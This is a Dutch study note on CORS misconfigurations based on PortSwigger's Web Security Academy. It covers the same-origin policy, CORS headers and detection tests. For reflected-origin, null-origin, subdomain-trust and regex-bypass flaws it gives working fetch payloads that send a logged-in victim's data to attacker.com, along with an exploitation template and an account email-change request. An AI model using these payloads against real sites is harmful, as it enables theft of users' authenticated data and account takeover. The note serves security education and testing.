CORS — Cross-Origin Resource Sharing
Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen
1. Wat is CORS?
CORS is een browsermechanisme dat bepaalt of een webpagina van origin A een request mag maken naar origin B en de response mag lezen.
Een origin bestaat uit drie componenten:
Alle drie moeten overeenkomen — anders zijn origins cross-origin.
CORS misconfiguraties laten aanvallers toe de same-origin policy te omzeilen en gevoelige data van een andere origin te lezen namens een ingelogde gebruiker.
2. Same-Origin Policy (SOP)
De SOP is de browserbeveiliging die CORS omzeilt wanneer verkeerd geconfigureerd.
| Request type | Cross-origin toegestaan? |
|---|---|
| Schrijven (links, redirects, forms) | Ja |
| Lezen (fetch/XHR response body) | Nee — SOP blokkeert |
| Embedding (img, script, iframe src) | Ja |
SOP beschermt het lezen, niet het sturen
De browser stuurt cross-origin requests gewoon — de server ontvangt ze. Alleen het lezen van de response wordt door SOP geblokkeerd. CORS is een manier om die leesrestrictie voor bepaalde origins te ontspannen.
3. CORS Headers
Response headers (server → browser)
| Header | Omschrijving |
|---|---|
Access-Control-Allow-Origin |
Welke origin(s) de response mogen lezen (* of een specifieke origin) |
Access-Control-Allow-Credentials |
Of cookies/auth-headers meegestuurd mogen worden (true/false) |
Access-Control-Allow-Methods |
Toegestane HTTP-methoden bij preflight |
Access-Control-Allow-Headers |
Toegestane request-headers bij preflight |
Access-Control-Max-Age |
Hoe lang de browser het preflight-resultaat mag cachen |
Request headers (browser → server)
| Header | Omschrijving |
|---|---|
Origin |
De origin van de pagina die de request maakt |
Cruciale combinatie
Een CORS-kwetsbaarheid is enkel exploiteerbaar als beide aanwezig zijn:
Access-Control-Allow-Origin: https://attacker.com ← aanvallers origin toegestaan
Access-Control-Allow-Credentials: true ← cookies worden meegestuurd
ACAO: * met ACAC: true is technisch ongeldig — browsers weigeren dat. Exploitatie vereist een dynamisch gereflecteerde specifieke origin.
Preflight Requests
Voor "non-simple" requests stuurt de browser eerst een OPTIONS request:
OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: X-Custom-Header
| Request type | Preflight vereist? |
|---|---|
| GET / HEAD / POST (simple headers) | Nee |
| PUT / DELETE / PATCH | Ja |
| Custom headers | Ja |
Content-Type: application/json |
Ja |
4. Detectie
1. Stuur een request met: Origin: https://attacker.com
2. Kijk naar de response headers:
- Wordt de Origin gereflecteerd in ACAO?
- Is ACAC: true aanwezig?
3. Probeer: Origin: null
4. Probeer: Origin: https://trusted-site.com.evil.com
5. Probeer: Origin: https://evil-trusted-site.com
6. Probeer: Origin: https://sub.trusted-site.com
Burp Suite
In Burp Repeater voeg je de Origin header manueel toe aan een request en observeer je de response headers. Burp Scanner detecteert de meest voorkomende CORS-misconfiguraties automatisch.
5. Kwetsbaarheid 1 — Reflected Origin
De server reflecteert de Origin header blindelings terug in Access-Control-Allow-Origin.
Request:
GET /api/userdata HTTP/1.1
Origin: https://attacker.com
Response:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Exploitatie
fetch('https://vulnerable.com/api/userdata', {
credentials: 'include'
})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))
Host dit script op attacker.com, laat het slachtoffer de pagina bezoeken → de response (inclusief sessiecookies) wordt naar de aanvaller gestuurd.
Vereiste
Het slachtoffer moet ingelogd zijn op de kwetsbare site op het moment van uitvoering. De browser stuurt automatisch de sessiecookies mee door credentials: 'include'.
6. Kwetsbaarheid 2 — Null Origin
De server staat de null origin expliciet toe:
Request:
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Wanneer stuurt een browser Origin: null?
- Cross-origin redirect
- Serialized data requests
- Request via
file://protocol - Sandboxed iframe — meest bruikbaar voor exploitatie
Exploitatie via sandboxed iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://vulnerable.com/api/userdata', {credentials: 'include'})
.then(r => r.text())
.then(d => location='https://attacker.com/steal?data='+btoa(d))
</script>">
</iframe>
Een sandboxed iframe heeft altijd Origin: null — waardoor de server de aanvaller toegang geeft.
7. Kwetsbaarheid 3 — Subdomain Trust
De server laat alle subdomeinen van een trusted domain toe:
Request:
Origin: https://malicious.trusted-site.com
Response:
Access-Control-Allow-Origin: https://malicious.trusted-site.com
Access-Control-Allow-Credentials: true
Aanvalsvector: subdomain + XSS
Als er een XSS-kwetsbaarheid op een subdomein bestaat, kan je die combineren:
fetch('https://trusted-site.com/api/userdata', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))
Impact
XSS op een subdomein + CORS subdomain trust = volledige data-exfiltratie van de hoofdsite, ook al is die zelf XSS-vrij.
8. Kwetsbaarheid 4 — Regex Bypass
De server valideert de origin via een gebrekkige regex:
Testpayloads voor regex bypasses
Origin: https://trusted-site.com.attacker.com
Origin: https://attacker-trusted-site.com
Origin: https://trusted-site.com.evil.com
Origin: https://notreally-trusted-site.com
9. Cheat Sheet
Detectie
| Test | Kwetsbaar als... |
|---|---|
Origin: https://attacker.com |
ACAO reflecteert https://attacker.com + ACAC: true |
Origin: null |
ACAO: null + ACAC: true |
Origin: https://trusted.com.evil.com |
ACAO reflecteert de bypass origin |
Origin: https://evil-trusted.com |
ACAO reflecteert de bypass origin |
Origin: https://sub.trusted.com |
ACAO reflecteert subdomein |
Exploitatie template
// Basis exfiltratie
fetch('https://TARGET.com/api/sensitive', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://ATTACKER.com/steal?d=' + btoa(JSON.stringify(d))))
// Via null origin (sandboxed iframe)
// <iframe sandbox="allow-scripts" srcdoc="<script>PAYLOAD</script>">
// Actie uitvoeren namens slachtoffer
fetch('https://TARGET.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
})
Headers Samenvatting
| Header | Veilig | Kwetsbaar |
|---|---|---|
ACAO |
Specifieke whitelist | Dynamisch gereflecteerd |
ACAO |
Niet aanwezig | * met ACAC: true |
ACAC |
false of afwezig |
true met dynamische ACAO |
| Origin validatie | Exacte string match | Regex / prefix / suffix check |